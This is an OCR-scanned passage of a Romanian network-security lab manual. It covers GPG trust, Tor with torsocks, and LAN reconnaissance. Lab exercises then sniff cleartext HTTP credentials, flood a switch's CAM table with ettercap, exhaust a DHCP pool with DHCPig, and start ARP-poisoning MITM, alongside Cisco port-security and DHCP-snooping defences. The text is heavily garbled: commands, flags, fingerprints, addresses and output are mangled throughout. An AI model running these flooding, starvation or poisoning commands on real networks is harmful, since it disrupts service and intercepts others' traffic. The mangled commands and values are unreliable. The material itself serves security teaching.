students sudo cp /home/red/important file.txt.gpg /heme/blue/
student$ sudo chown blue:blue /fhome/blue/important file.txt.gpg
student3 su - blue
Password:
blue$ 1s
important file.txt.gpg pub green.asc pub red signed by green.asc
bluelS gpg important file.txt.gpg
geg: Signature made Tue 23 Apr 2018 02:25:50 PM UTC using RSA key
ID 860244A1
gpg: Good signature from "red-student <red@cs.pub.ro>"
geg: WARNING: This key i1s not certified with a trusted signature!
gpg: There is no indicatien that the signature belongs to
the owner.
Primary key fingerprint: 850D 2356 F:ZDB B4D7 F4FC SBBZ EESB86 bC3b
B00Z 44A1
bluelisc:~5% cat important file.txt
this 15 an important messags
In modul de configurare implicit, ultimul pas ar fi trebuit si dea un avertisment care si ateste ci cheia
nu este de incredere in timp ce inca mai este valabila ("Semnaturd buni"). Acest lucru se datoreaza
faptului ¢a GPG utilizeaza un model de incredere mai complex. Trebuie sd ne conectam ca utilizator
albastru si sd schimbam nivelul de incredere pentru cheia verde la " Am incredere in cele din urma”.
Dupa aceasta verificati din nou semnatura de fisier anterioara.
Web-ul de incredere permite utilizarea unui algoritm mai elaborat pentru a valida o cheie. Acum poate
f1 utilizat un algoritm mai flexibil: o cheie K este consideratd valida daca indeplineste doud condifii
[47]: (1) este semnatd de suficiente chei valide, ceea ce Inseamnd ¢i afi semnat-o personal sau a fost
semnatd de o cheie complet de incredere sau a fost semnata de trei chei marginal de incredere; s1(2)
calea cheilor semnate care duc de la K inapoi la propria cheie este de cinei pasi sau mai scurta.
blueld$ gpg —--edit-key greenfcs.pub.ro
gpg>» trust

Please decide how far vyvou trust this user to correctly verify
other users' kevs
(by looking at passports, checking fingerprints from different
sources, etc.)

1 =1 don't know or won't say
Z =T do NOT trust
3 = 1 trust marginally
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4 = T trust fully
5 =1 trust ultimately
m = back to the main menu

Your decision? &
Do you really want to sget thisg key to ultimate trust? (y/N) v

gpg> quit
blues gpg ~v --vwerify-files important Tile.trl«dhyg
gpg: original file name='important file.txt'
Jpg: Signature made Tue 23 Apr 2019 02:44:00 FM UTC using RSA key
ID 860244A1
gpg: using PGP trust model
gpg: checking the trustdb
gpg: 2 keys cached (8 signatures)
Jpg: 3 keye processed (3 validity counts cleared)
gpg: 3 marginal (s) needed, 1 complete(s) needed, PGP trust model
gpg: depth: 0 walid: 2 slgned: 1 Lrfst:” O-4 0Ogy 0n, Omy 0L,
21
gpg: depth: 1 wvalid: 1 signed: 0 SLpust: 1-; 0g, On, Omy 0Of,
Ou
gpg: Good signature from "red-student <red@ecs.pub.ro>"
gpg: binary signature, digest algorithm SHAIL

In aceasti sectiune urmitoare vom arita cum si activati serverul proxy TOR si si activati
comunicarca anonima in timp ce vi aflati pe Internet [43]. Va rugam sa retineti ca refeava TOR ar
putea incetini legdtura pe masurd ce datele traverseazd mai multe dispozitive pand la destinatie.
Proiectul Tor (The Onion Routing) este o implementare a ideir mai generice de "rutare a cepet” care
permite unui utilizator si obtina anonimatul reteleil in timp ce navigheaza pe Internet. Mecanismul
care permite o navigare privatd se bazeaza pe recriptarea gi rutarea "aleatorie” a pachetului la nivelul
fiecarui router din refea, permitand fiecarui router sa cunoasca doar routerul anterior si urmatorul
router din traseu (nu sursa / destinatia pachetului) [48].
Accesarea retelel Tor se poate face fie printr-un proxy local al unui browser preconfigurat cu serverul
proxy. Proxvy-ul Tor trebuie si fic instalat pe Internet VM si configurat (linia 18 g1 28 de la
fete/tor/torrc) pe masgina virtuala. Sa verificdm daca asculta pe un port IPv4 s1 sa-1 seriem.

S cat /etc/tor/torrc

[«.]
copksbark 0.0:0.05 9050
SocksPolicy accept *

root# netstat -nltp
Active Internet connections (only servers)

Proto Recv—-0Q Send-0C Local Address Foreign Address
State PID/Program name
Lep 0 0 127.0.0.1:32306 0.0.8, 0%
LISTEN 1276/mysgld
NG, s 15
e [ ONGE JASHJDG =~
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bisfale 0 4 0.0.8.0522 0800, G
LISTEN 25926/ sshd
Eep 0 g D0.0.0.0:9050 Q@@ O
LISTEN l1414/tor
topb @) G %380 R
LISTEN 3280/ apache?
tcpe @ B pniZd = R
LISTEN 25926/ sshd

Tor acceptd numai traficul TCP, uni1 asigurati-va cd interogdrile DNS se fac prin TCP. torsocks este
un instrument care forteaza orice program deschis sa utilizeze reteaua Tor pentru conectivitate [49].
Deschideti o cochilie s1 aflati adresa IP reald. Acum, deschideti o coaja folosind torsuri si aflati
adresa IP prin reteauva Tor. Reporniti serviciul **tor™* g1 descoperiti adresa IP nou alocata.
root@isc:/ete/tor# torsocks --shell
/usr/bin/torsocks: New torified shell coming right up...
root@isc:/ete/tord dig TXT +tcp +short o-g.myaddr.l.google.com
@nsl.google.com | awk -F'"' '{ primt $2}°"
198,249.230.745
root@isc:/ete/torf exit

exit
root@isc:/ete/tor# dig TET +tcep +short c-o.myvaddr.l.google.com
@nel.google.com | awk -F'"'" '{ print 52}

147 B 20155
Daca dorim si folosim TOR ca proxy s1 nu din linia de comanda, vom configura browserul Firefox.
In primul rind, trebuie sa schimbam setarile retelei Firefox pentru a utiliza proxy-ul Socks3 folosind
adresa IP si portul de pe masina virtuald Internet. Puteti verifica dacid browserul dumneavoastri

utilizeazi Tor accesand urmatoarele |50|.

= (<} & ey epmpctory R - - ] nag =

Congratulations. This browser is configured to use Tor.

Wour IP address appesss o be 31.220.0.228

Prease refer bo fhe Tar wehaie for furthar irformation about using Tor salely. You ane now freaic Browss ihe intsnat atanymaughy, For mate Ffoaralian aboul thi esit relay, see: Baliy Seasgh.

Donate to Support Tor

Tor Q&4 Sile | Vownizer | Run a Aeay | Stay Anammous

e Tor Ficjsct & 2 LES BISEHA] non-protl 30 mateed 63 506 164di0en, dovaopmert, GH0 SOUEERIN 67 VNG GROnyTIdy gnil pavasy. Lim Mo

Fig. 2.16 Firetox folosind proxy TOR
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Cap. 3 Securitatea retelei locale

3.1 Atacuri de recunostere a retelei locale

Una dintre primele sarcini atunci cind ne ocupam de securitatea refelei este sa descoperim resursele
disponibile. Acecasta include gasirea computerclor disponibile, imprimantelor s1 a altor dispozitive
online care fac parte dintr-o retea, apoi pentru fiecare dispozitiv identificat trebuie sa descoperim ce
tip de sistem de operare utilizeaza si de aici vom incerca, de asemenca, sa observam serviciile
disponibile care ruleaza pe partea de sus a acelw serviciu.
Pentru acest capitol am dezvoltat o masind virtuald speciala care este disponibild la cerere. Aceastd
masind virtuald gazduieste o serie de servicn virtuale in mtertorul unw container docker. Scopul
acestui exercifiu este de a crea o harta a acestor servicii de refea. Kali-VM este conectat direct in SW0
folosind eth0.
Deoarece acest lucru simuleaza un exemplu din lumea reald, existd, de asemenea, un serviciu DHCP
care ruleaza. Pomifi Kali-VM si executafi comanda "tcpdump” pentru a monitoriza tot traficul pe
interfata "ethO" s1 salvati-l intr-un figier numit dhep.pcap (-w optiune). Nu inchideti captura de
pachete si pornifi procesul DHCP pentru a obtine automat o adresa IP,

root# tecpdump -n -1 eth0 not port 22 -w dhep.pcap

root # dhelient ethO

Deschideti captura salvatd anterior pe computerul local utilizand Wireshark g1 inspectati procesul
DIHCP. Apoi puteti utiliza optiunea de filtrare pentru a vizualiza numai pachetele DHCP.

44 189,31 4.0.0.0 342010 Ly L] ELF U vi Dwev Tressaition [0 Seefidforid
o [0 See¥Safiss

ID #aed 2P
min.n 11 Bl 495520 .. 8NN L r ] Lr AN Trasaaction [0 Geefisfosd

dingding Tise value
) Breadiest Addreds
1%) Domain Nase

Option: (321) Classbesy Statlc Reute
p—
1.0 0. 0/8-18 2% 010 240

optd Submet Motk
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Fig. 3.1 DHCP a primit pachete
Ar trebui sd investigim detaliile continute in pachetul DHCP. In primul rind, vedem ci durata
contractului de leasing este de 24 de ore, acesta este cazul obisnuit al unei conexiuni cu fir, unde daca
am fi intr-un mediu wireless care ar trebui si fie in intervalul de 1-6 ore. De asemenea, vedem ci
adresa IP primitd este dintr-un interval /24 si ¢d optiunea 121 este utilizatd de DHCP pentru informatii
de rutare. Putem vedea ca trimite un traseu pentru 10.0.0.0/8 prin 10.255.255.249.
Acum ca stifi care este reteaua dvs., putem afla toate gazdele disponibile in subreteaua dvs. Pentru
acest loc de munci putefi utiliza instrumentul nmap si de a efectua o scanare rapida ping.
root@kali:/# nmap -n -sn -Th 10.255.255.0/24
Starting Nmap 7.70 { https://nmap.org ) at 2Z01B-11-28 Q0:22 EET
Nmap scan report for 10.255.255.1
Host is up (0.0003%s latency).
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MAC Address: 1E:33:2F:42:3B:E8 [(Unknown)
Nmap scan report for 10.255.255.2
Host is up (0.0003%s latency).

MAC Addresgs: 22:75:332:4Z2:A7:7D (Unknown)
Nmap scan report for 10.255.255.4
Host ieg up (0.00037s latency).

MAC Addregsg: OE:0C:686:3B:4D:65 (Unknown)
Nmap scan report for 10.255.255.249
Host 1s up (0.00035s latency).

MAC Address: 08:00:27:2D:EC:B4d (Oracle VirtualBox wvirtual NIC)
Nmap scan report for 10.255.255.252
Host is up.

Nmap done: 256 IP addresses (2 hosts up) scanned in 1.54 seconds
Majoritatea retelelor utilizeaza adresa IP .1 ca gateway implicit. Aceste informatu pot fi utilizate in
avantajul nostru pentru a descoperi toate adresele IP din intervalul 10.0.0.0/8. Putem folosi orice
limbaj de scripting s1 putem crea o listd cu toate adresele IP (de exemplu, 10.X.Y.1). Apoi, utilizati
lista pentru a efectua o descoperire a gazdei. Va rugidm si retineti cd lista contine aproximativ 65536
adresa IP, astfel incat o cautare completd pentru fiecare va dura un timp. Putem reduce timpul de
cautare utilizand unele dintre caracteristicile nmap, cum ar fi: minimizarea valorii de expirare,
pornirea mai multor scandri in paralel si trimiterea unui singur pachet catre fiecare gazda.
rogt@kalis~# rimap —-min-hostgroup MNP —-sn —-T5 -1 ip addresses
——max-retries 1 --min-parallelism=25h6 -—max-rtt-timecut bms --min-
rate 1dz4
Warning: You sgpecified a highly aggressive —--—-min-hostgroup.
Warning: Your —--min-parallelism option is pretty high! This can
hurt reliability.

WARNING: You specified & round-trip time timeout (2 ms) that is
EXTRAORDIMNARILY SMALL. Accuracy may suffer.
Starting Nmap 7.70 ( https://nmap.org )} at 2018-11-28 01:21 EET
MNmap scan report for 1@.5.140.1
Host is up (0.0018s latency).
Nmap =scan report for 10.7.6.1
Host is up [(0.00052s latency).
Nmap scan report for 10.88.205.1
Host is up [0.0015s latency).
Nmap sc¢an report for 10.155.20.1
Host is up (0.0028s latency).
Nmap done: 64516 IP addresses (4 hosts up) scanned in 80.3Z2
seconds
Dupa aflarea adreselor IP utilizate in retea, ne putem concentra in continuare pe modul in care
masinile noastre virtuale ajung la fiecare dintre ele (de exemplu, urmérirea rutelor citre fiecare IP).
root@kali:~# tracercute 10.7.6.1
traceroute to 10.7.6.1 [(10.7.6.1), 30 hops max, 60 byte packets
L 18.255.255.249 (10.25%5.255.245; 0,330 msg 1,185 fig 0.180 ms
2 10.7.6.1 (10.7.6.1) 0.204 me 0.188 ms 0.177 ms
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a. What tvype of packets deoes the tracercute teool sent? What’s

the TTL wvalues in these packets? What type of ICMP packet does the
hast regeivéa?
root@kali:~# tepdump -n -1 eth0 -vvv
12:36:07,437904 TP (tés Ox0, ttl 1, 1d 5219, offset 0, flags
[none], proto UDP (17), length &0}

10.255.255.202.51257 > 10.7.6.1.33434: [bad udp cksum Oxlb3d -
> Oxadcl!] UDP, length 32
12:36:07.438229 1P (teos OxcO, ttl 64, id 53698, offset 0, flags
[none], proto ICME (1), length 88)

10.255.255.249 > 10.255.255.252: TICMP time exceedsed 1n-
trangit, length &8

IFP (tes 0Ox0, ttl 1, id 5215, coffset 0, flags [nene], proto

UunDP (17}, length &0}
Utilitarul traceroute trimite implicit pachete UDP cu o crestere a valorilor TTL, incepand de la 1.
Dispozitivele de retea vor scidea aceasta valoare, iar ¢ind ajunge la 0, vor trimite inapoi un mesaj
[ICMP depagit de timp cdtre gazda de origine.
Deoarece gazda utilizeazd routere diferite pentru refele diferite, iar aceste routere se afla in aceeasi
retea locald, urmarirea anterioard va avea un comportament ciudat. Daca trimitem o solicitare de ecou
[ICMP la una dintre gazdele de la distanta s1 observati un mesaj de redirectionare ICMP. Mesajul este
trimis de gateway-ul implicit si este utilizat pentru a optimiza calea pentru fiecare retea, trimifand
computerulw informatiile cd poate utiliza un gateway diferit pentru o anumitd gazdi. Tabelul de
rutare locala se modifica din cauza acestui mesaj de redirectionare ICMP.
root@kali:~# ping 10.5.140.1
PING 10.5.140.1 (1l0.5.140.1) 56(84) bytes of data.
64 bytes from 10.5.140.1: IYcmpsseg=l tLl=63 time=0.510 ms
From 10.255.255.249: icomp seg=2 Redirect Host (New nexthop:
10.255.255.4) N
L]
root@kali:~# ip rwget 10.5.140.1
1L0.5.140. 1 wvia L. Cade255.4 dev ethl srg 10.255.255.252 uid 0O

cache <redirected> explires 2%9hsec
root@kalisr~PRip B 4 10.7.6.0/24 via 10.255.255.2
root@kalis=~# ip r a 10.88.205.0/24 via 10.255.255.1
root@kali%~#% ¥p r a4 10.155.20.0/24 ~via 10.255.255.4
root@kali:~#% ip r a 10.5.140.0/24 via 10.255.255.4
Acum, este timpul sd descoperiti serviciile care ruleaza pentru fiecare retea. Acest lucru necesiti o
scanare mai completa, dar putem rula acest lucru numai pentru adresele IP disponibile. De asemenea,
retinefi ¢, ruland o astfel de scanare intr-o refea monitorizata, un firewall o va descoperi. Ar trebui
sd notam adresele 1P s1 porturile deschise.
root@kali:~# nmap -Td 10.88.205.0/24
[eeus]
Nmap scan report for 10.88.205.2
PORT STATE SERVICE
53/tcp open domailn
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root@kali:~# nmap -Td 10.7.6.0/24
L]

Mmap scan report
FORT STATE S8E

E
B0BO/tcp open ht

root@kali:~# nmap -T4 10.155.20.0/24

(o]

Nmap scan report for 10.155.20.2

PORT STATE SERVICE

80/tcp open http

Observam, exista un server DNS care ruleaza in refea si il vom investiga mai mult prin maparca
inversa a adreselor IP ale altor adrese IP disponibile la numele lor respective. Aceste informatii pot fi
utilizate in continuare pentru a intelege refeava pe care o investigam.

root@kali:~# nslockup 10.7.6.2 10.88.205.2

Z2.6.7.10.in-addr.arpa name = vulnerable.liot.dashboard.

Apoi, putem vedea ce oferd serverul web. Din pacate, versiunea doar text a Kali oferd doar un browser
bazat pe text, rds. Pentru a infelege mai bine serviciile, putem incepe o captura pe interfafd si o putem
salva pentru analize ulterioare, in timp ce navigadm pe site-ul web s1 citim instructiunile web. Numele
de utilizator si parola pentru site sunt admin / parola.
root@kali:~# tepdump -n =i eth0 —-vww =w http.pca
Lopdunp: listening on ethd, link-type EN1OMB (Ethernet}
size 262144 bytes

~Chh packets captured

55 packets received by filter

0 packets dropped by kernel

root@kali:~# lynx 10.155.20%2

, Capture

Fig. 3.2 Pagina web de navigare Kali
Putem transfera captura pe un computer care are Wireshark instalat i vizualiza parolele trimise. Cand
deschideti un fisier PCAP cu Wireshark, acesta poate detecta obiectele protocolului, inclusiv cele din
sesiunile HTTP. Apoi1 poate salva toate figierele local. Dacd dorim sa exportim pagina deschisi din
Wireshark, selectati File->Export Objects->HTTP s1 modificati extensia de fisier in HTML, astfel
incat sd o putem deschide local.

Al wenban  brgery WITE
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Fig. 3.3 Wireshark export http obiecte
Utilizati browserul preferat pentru a le deschide pe toate. Puteti vedea in text clar (deoarece nu folosim

HTTPS) numele de utilizator si parola utilizate ientru conectare,

o Q il /D s g 1 htrmd

usemname=admin& password=password& Login= Logindouser token=979¢2h | ¢85 ShBAITES || adaP0031K |

Fig. 3.4 Numele de utilizator si parola sesiunii

3.2 AtacurilL2

Pentru acest laborator vom folosi trei masini virtuale si un IOSvL2. Inainte de a continua, asigurati-
va cd nu avett nicio configuratie pe comutatorul [OSvL2, cd VM Ubuntu se poate conecta la Internet
si verifica adresa IP si conectivitatea locala a dispozitivelor.

Ubuntu-1 10SvL2-1 InternetVM-1
I & GigabitEthernet eD I &
—

=0 GigabitEthernetl

GigabitEthernet2

Kalivi-1

Fig. 3.5 Atacurile stratului 2

In acest laborator vom vizualiza mecanismul de securitate implicit disponibil pe dispozitivele din
stratul doi, cum sd le exploatam si cum sa folosim astfel de dispozitive pentru a va proteja mai bine
reteava. Un comutator L2 utilizeazad adresa MAC sursd pentru a afla unde sa trimiteti un pachet viitor
cu destmatia respectivd. Acest lucru se face prin stocarea intr-un tabel special numit Content
Addressable Memory (CAM) tabel o mapare intre un MAC sursa si portul a ajuns la comutator. Pentru
a vizualiza tabelul CAM pe un comutator Cisco, puteti executa urmatoarea comanda "arata tabelul de
adrese mac".
Un pas usor pentru a transforma un comutator intr-un hub (care difuzeazi toate cadrele) este sa
completati tabelul CAM, ceea ce face ca comutatorul sd nu poatd invata o noud adresd MAC, ceeace
inseamni ¢i le va difuza cadrele. Refineti ¢a atunci cand un comutator primeste o destinatie MAC
care nu este salvata in tabelul CAM, acesta il va redirectiona citre toate celelalte porturi. Urmaitoarea
comanda va inunda firul cu adrese MAC aleatorii.

root@kali:~# ettercap -TP rand flood
Puteti vedea c¢d CAM pe un anumit port i modul in care adresele MAC aleatoare sunt adiugate la
acesta.
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Fig. 3.6 Interfata Gigabit inundata cu adrese MAC
Unul ar trebui sa fie in masura sd conta, de asemenea, numarul curent de intrari MAC in tabelul CAM
s1 comparati-l cu numarul maxim de unitati disponibile in acest tip de memorie. O intrebare
interesantd este de a determina cit de repede va umple tabelul de comutare CAM. Ettercap poate fi
configurat cu intarzierea intre fiecare cadru de inundatie utilizind variabila "port_steal send delay”
din figierul siu de configurare. In mod implicit, acest lucru este setat la 2000 microsecunde, prin
urmare, crearea de intriri 70152664 va dura 70132664 * 2000 microsecunde, care este de aproximativ
38 de ore. Va rugam sa retineti ci, de obicel, un CAM este de aproximativ 8000 de intrari pe un
comutator real, dar acest lucru depinde de configuratia hardware.

Switch#show mac address-table gount
Mac Entries for %Wlan 1:

Dynamic Address Count & £069
Static Address Count ¢ O
Total Mac Addresses : 6069
Total Mac Address Space Avalilable: TUOl:2664
Pentru a preveni un atac cam inundatii, comutatorul trebuie s fie configurat pentru a limita numarul
de MACs pe care le poate stoca per port 1/ sau per VIRTUAL LAN (VLAN). Pe o Cisco comuta o
actiune in cazul in care apare o incilcare a acestei limite, de asemenea, pot fi adiugate. In exemplul
urmator, interfata este setata la inchidere daca numarul de adrese MAC creste dincolo de valoarca de
configurare.
Switch#fconfigure terminal
Switch{config) #interface gigabitEthernet 0/2
Switch({config-if) #ewitchport mode access
Switch{config-if)#switchport port-security
Switch{config-if)#switchport port-security maximum 10
Switch(config-if) #switchport port-security vieolation shutdown
Switch(config-1if) #end
[...]
*Sep 14 12:41:06.968: 3PM-4-ERR DISABLE: psecure-violation error
detected on Gi0/2, putting Gi0/2 in err-disable state

oy, 0. ¢s
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*Sep 14 12:41:06.970: 2PORT SECURITY-Z2-PSECURE WVIOLATION: Security
viclation eoccurred, caused_by MAC address 267b.7d25.09c1 on port
GigabitEthernet0/2.

*Zep 14 12:41:07.968: 2LINEPRCTC-5-UPDOWN: Line protocaol on
Interface GigabitEthernet0/2, changed state to down
*Sep 14 12:41:08.96%: FLINK-3-UPDOWN: Interface
GigabitEthernet0/2, changed state to down

Pentru a recupera o interfati dezactivata, trebuie si fie repornita.

Switch{config)#int gi 0/2
Switch{config-if)#shutdown
Switchi{config-if)#noe shutdown
O altd problema comundi pe retelele de nivel doi este epuizarea adreselor IP disponibile de pe serverul
DHCP. Acest lucru se poate intimpla atat de configurare necorespunzitoare sau un atac activ. Luati,
de exemplu, o retea fard fir a acroportului, unde modelele de utilizare sunt de aproximativ trei ore de
persoand (inainte de decolare) si existd sute de oameni care trec printr-un aeroport. Unul trebuie s
configurati serverul DHCP cu suficiente adrese 1P, si scurtati perioada de leasing si si eliminati in
mod activ dispozitivele neutilizate din piscind. Pentru a vizvaliza dhcp contracte de leasing pe

internetVM problema urmatoarea comanda.
roctl@internet:/home/student# dhep-=lease-list --all
[...]

Reading leases from /var/lib/dhcecp/dhepd.leases

MAC 1P hostrname valid until
manufacturer

OB«0@: 27 lanbdsd? 17238 %41 05 kali 2018-08-15
22:06:19 -NA-

P8O0 27 ¢ 342728 WH1%.381.0.100 ubuntu 2018-09-16

D0:11:46 —-NA-
Cu toate acestea, existd, de asemenca, posibilitatea ca un atacator sa incerce sa brute-force s fura
toate adresele DHCP disponibile. Scopul acestui atac este de a crea un server DHCP rogue pe reteaua
locald s1 forta utilizarea acestuia de gazde. Amintiti-va ca protocolul DHCP utilizeazd patru mesaje
pentru o configuratic corecta: (1) descoperire DHCP pentru a gasi un server in refeaua locald, (2)
oferta DHCP trimisi de server cu o configuratie (temporard), (3) solicitarea DHCP de la client pentru
a confirma cd va utiliza configuratia primitd s1 (4) confirmarea DHCP trimisd de server pentru a
anunta ca configuratia a devenit permanenta.
Existd doud atacuri utilizate impotriva serverului DHCP, primul va trimite doar mesajul de
descoperire DHCP si va bloca configuratia temporara de pe server. Acest lucru va forta serverul sa
detind aceastd configuratie pentru o anumita perioada de timp, ficind adresa IP indisponibila pentru
alte gazde. Al doilea atac face un pas mai departe g1 acceptd, de asemenea, configuratia, facand-o
permanentd. Ambele atacuri necesita adrese MAC aleatorii pentru ca atacatorul sa le utilizeze pentru
a obtine mai multe configuratii (IP) de pe server. DHCPig este un instrument care efectueazi al doilea
atac.
root@kali:~# pig.py -1 -c ethO
[..]

[--=>] DHCP Discover
NG, s €Is
et va 2 )) LOG ~
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-] DHCFE Offer 08:00:27:al:tb 718D 172.3%.0. 1 TP
172.31.0.126 for MAC=[derad:23:1c:f7:b2]
] DHCE Request 172.31.0.126

] DHCP:ACK QB:00:27:a0:b7:50 liz.31.0,1 IP:
17283718 128 for MAS=[ds: ad i28%1ci £7 ;b2

[-—-->] DHCF Discover
[ 27 ] walting for DHCP pool exhaustion...
-— ] timecut walting on dhop packet count 1

[
[«
[ 27 ] waiting for DHCP pool exhaustion...
[ —— ] [DONE] DHCFE pool exhausted!

In timp ce efectuati acest atac, puteti monitoriza contractele de leasing DIICP pe server. Retineti mai
multe adrese MAC g1 nume de gazda generate de utilitarul DHCPig,.

root@internet: /home/student# dheop-lease-lism==all 2>/dev/null
Reading leases from /var/lib/dhep/dhepd.leases

MAC 1P hostrname valid until
manufacturer

desguslosdlsedslze L7 2.81..0.158 3BUMETY7 2018-08-14
14:50:08 -NA-

devad:s 23:43:88:48 172.31.0.8. 82 HIXJADTU 2018-09-14

14:50:08 -NA-
[...]
root@internet:/home/student# tail -100 /var/log/syslog
Sep 15 18:44:32 internset dhepd[1871]: DHCEDISCOYER from
de:ad:Ua:0e:cf:ff via enpls3: network 172.31.0.0/24: no free
leases
Sep 15 18:44:33 internet dhepd[1871]: DHCPDISCOVER Zfrom
detad:12:55: 3bibE, via enpls3: network 172.31.0.0/24: no free
leases
Pentru a contoriza numarul de configuratit DHCP lansate de server, puteti emite urmétoarea comanda.
Retineti ¢4 in acest exemplu existd mai mult de 200 de contracte de leasing utilizate, ceea ce face
serviciul inutilizabil de catre clientii de refea noi.
root@internet:/home/student# dhcp-lease-list --all 2>/dev/null |
wo -1
201
Pentru a sterge toate contractele de leasing gi resetati serverul DHCP, va rugam sd utilizafi
urmatoarele comenzi. Acest lucru nu va sterge configuratia pe clientii s1 in cazul unui client nou ar
putea exista configuratii dublate in retea. De obicet, sistemele de operare moderne si serverele DHCP
vor verifica astfel de duplicate nainte de a le utiliza, ceea ce face mai usor de recuperat dupi un atac

DHCP.
root@internet:/home/student$# echo "" > /var/lib/dhcp/dhepd.leases

root@internet:/home/student# dhcp-lease-ligt --all 2>/dev/null
Reading leasges from /wvar/lib/dhep/dhecpd.leases
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MAC IF hostname valid until
manufacturer

root@internet:/home/student# systemctl restart isc-dhep-server
Pentru a rezista unui atac DHCP, comutatoarele moderne pot asculta mesaje DHCP g1 pot bloca
solicitarile in consecinta. Pe un comutator Cisco aceasta caracteristica se numeste DHCP snooping si
trebuie sd fie activata per elementele de bazd VLAN.
Switch{config)#ip dhcp sncoping
Switch{config)#ip dhep snooping verify mac-address
Switch{config)#ip dhep snooping vlian 1
Retineti cd, dupa ce a fost activat, comutatorul va bloca toate mesajele DHCP, atit de la clienti, cit
si de la server. In primul rand, trebuie si configurati pe ce interfati poate fi prezent un server DHCP,
aceasta se numeste o interfata de incredere.
Switch{config-if)#interface GigabitEthernet 0/1
Switchi{config-if)#ip dhep snooping trust
In al doilea rind, in functie de configuratia dvs., pentru toate celelalte interfete ar trebui sa limitati
numirul de solicitiri DHCP. In acest exemplu, un client este permisa o singura solicitare DHCP si
configurare.
Switchi{config-ifl)#interface GigabitEthernet 0/2
Switch{config-if)#ip dhecp sncoping limit rate 1
Pentru a vizualiza configuratiile de pe problema de comutare urmitoarea comanda.
Switch#sh ip dheop snooping
Switch DHCP snooping is enabled
Switch DHCP gleaning is disabled
DHCP snooping is configured on following VLANsS:
1
DHCP snooping is cperational on following VLANs:
1
DHCP snooping is configured on the following L3 Interfaces:
Insertion of option 82 iz enabled

circuit-id default format: wvlan-mod-port

remote-id: Ocld.148d.9d00 (MAC)
Option 82 on untrusted port is not allowed
Verification of hwaddr field is enabled
Verification of giaddr field is enabled
DHCP snoopling trust/rate is configured on the following
Interfages:

Interface Trusted Allow option Rate 1imit

(pps)

GigabitEthernet(d/1 Ves VeSs unlimited
Custom circuit-ids:

GigabitEthernet(/2 no no 1

Custom circulit-ids:
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In cazul unui atac de infometare DIICP, aveti posibilitatea si monitorizati DICP redirectionat
pachete de parametrul utilizand urmatoarea comanda. Pachetele a scazut nu corespund configuratiel

(fie mai multe cereri sau un server DHCP rogue).
Switch#sh ip dhecp snooping statistics

Packets Forwarded = 150
Packets Dropped = 121
Packets Dropped From untrusted ports = 118

Mai mult decat atat, in cazul unui atac, comutatorul va trimite un mesaj s1 va bloca interfata.
Trebuie sa reporniti interfata pentru a o face din nou functionala.

*Sep 15 05:31:20.419: %DHCP SNOOPING-4-

DHCP SNOOPING ERRDISABLE WARNING: DHCFP Snooping received 1 THCP
packets on interface G5i0/2

*Bep 15 05:31:20.419: $DHCP SNOOPING-4-

DHCP SNOOPING RATE LIMIT EXCEEDED: The interface GI10/2 is
receiving more than the threshold set

*Bep 15 0b:31:20.419: %PM-4-ERR DISABLE: dhcp=rate-limit error
detected on Gi0/2, putting Gi0/2 in err-digable state

*Sep 15 05:31:21.420: SLINEPROTO-5-UPDCWN: Line protocol on
Interface GigabitEthernet(0/2, changed state to down

*Sep 15 02:31:22.420: 3LINK-3-UPDOWN: Interface
GigabitEthernet(d/2, changed state to down

3.3 L2MITM

In acest laborator vom demonstra o slibiciune a Protocolului de rezolvare a adreselor (ARP) care
permite unui atacator si adune toate informatiile pe care le trimite o victima. In scenariul nostru,
masina virtuald Ubuntu joaca rolul victimei, 1ar KaliVM (atacatorul nostru) va incerca sa afigseze o
conexiune HT'TP activa.

Scurta explicatie: Address Resolution Protocol (ARP) este un protocol de nivel 2 care ajutd la
maparea unet adrese IP cunoscute la adresa MAC corespunzitoare retelet sale locale. Pentru a face
acest lucru, utilizeaza un mesaj neautentificat ARP solicitare, care este difuzat in reteaua locald cu
urmdtorul mesaj simplificat: "Cine are adresa [P X?". Un raspuns ARP neautentificat este trimis
numai de dispozitivul care detine adresa IP. Cu toate acestea, un atacator rau intentionat poate
raspunde cu propria adresd MAC sau poate trimite mesaje ARP gratuite care vor schimba ip-ul in
maparea MAC a victimer. Retineti ¢4, pe un segment de retea locald, comutatorul va redirectiona
cadrele pe baza adresei MAC.

In primul rand, trebuie si creati topologia GNS3 in functie de figura. Adresele MAC corespunzitoare
dispozitivelor pot fi diferite, poate fi util dacd le notati. Pentru a face acest lucru, utilizati comanda
“afisare adresa IP" g1 cautati linia "link/eter”.
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Ubuntu-1 InternetVM-1

172.31.0.100/24

el en
172.31.0.1/24
|p8:00:27:34:£7:c5 i 08:00:27:20:b7:50
e
Kalivi-1 172.31.0.101/24
LM
VW

08:00:27:1c:b4:d7

Fig. 3.7 Strat 2 TOPOLOGIE MITM
Inainte de a incepe, ar trebui si verificim daci serverul Ubuntu are conexiune la Internet (utilizati
comanda "ping www.google.com™) s1 daci utilizeazd VM Internet ca gateway. Executati urmitoarea
comandi doud si verificati atat adresa [P a gateway-ului implicit configurat local, cat si adresa MAC
asociatd. Retineti ¢d adresa MAC de pe sistem poate diferi.
student@ubuntu:~% netstat -nr
Kernel IP routing table

Desgtinaticon Gateway Genmask Flage MSS Window irtt
Iface

0.0.0.0 172.31.0.1 0.0.0.0 UG o 0 0
enp0s3

L7 2.31..0.0 B @ 000 bt s S £ s ML SO ) 8] o 0 a
enpls 3

O O 0. @. 00 2hh.2hh 2 b 05y UH o 0 a
enpls 3

student@ubuntu:~3 arp -n

Address HWtype HWaddress Flags Mask

Iface

172.31.0.1 ether 08:00:27:20:b7:50 C

enp0s3

Inainte de a incepe atacul asupra masinii virtuale Kali, puteti avea pachete ICMP trimise continuu
pentru a verifica dacd atacul de falsificare ARP a avut succes. Porniti atacul de otravire ARP prin
emiterea urmatoarei comenzi.

root@kali:~# ettercap -8 -E -T -M ARP:remcte /172.31.0.100//
LT3 L)

Ultimii doi parametri ofera adresa IP a victimelor, in cazul nostru dorim si adulmecam tot traficul
dintre serverul Ubuntu si masina virtualé de internet. Atunci cand este utilizat cu steagul -7, ettercap
va porni in modul text, in timp ce "-E" i permite s afigeze si anteturile din cadre. Atacul pe care |-
am inceput este otravire A ARP, iar cuvantul cheie "la distanta” extinde adulmecarea la orice trafic
care trece intre Ubuntu s1 masina virtuala de pe Internet. Ar trebui si puteti vedea traficul de pe ecran.

[o..]
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Listening on:

ethd -> 08:00:27:1C:B4:D7

7231 8. 100/ 258.255.285.0

[+..]
Scanning for merged targets (2 hosts)...
I >| 1DD.00 %
2 hosts added to the hosts list...
ARP poisconing victims:

GROUP 1 & 172,810,108 09300227 34 Flo08

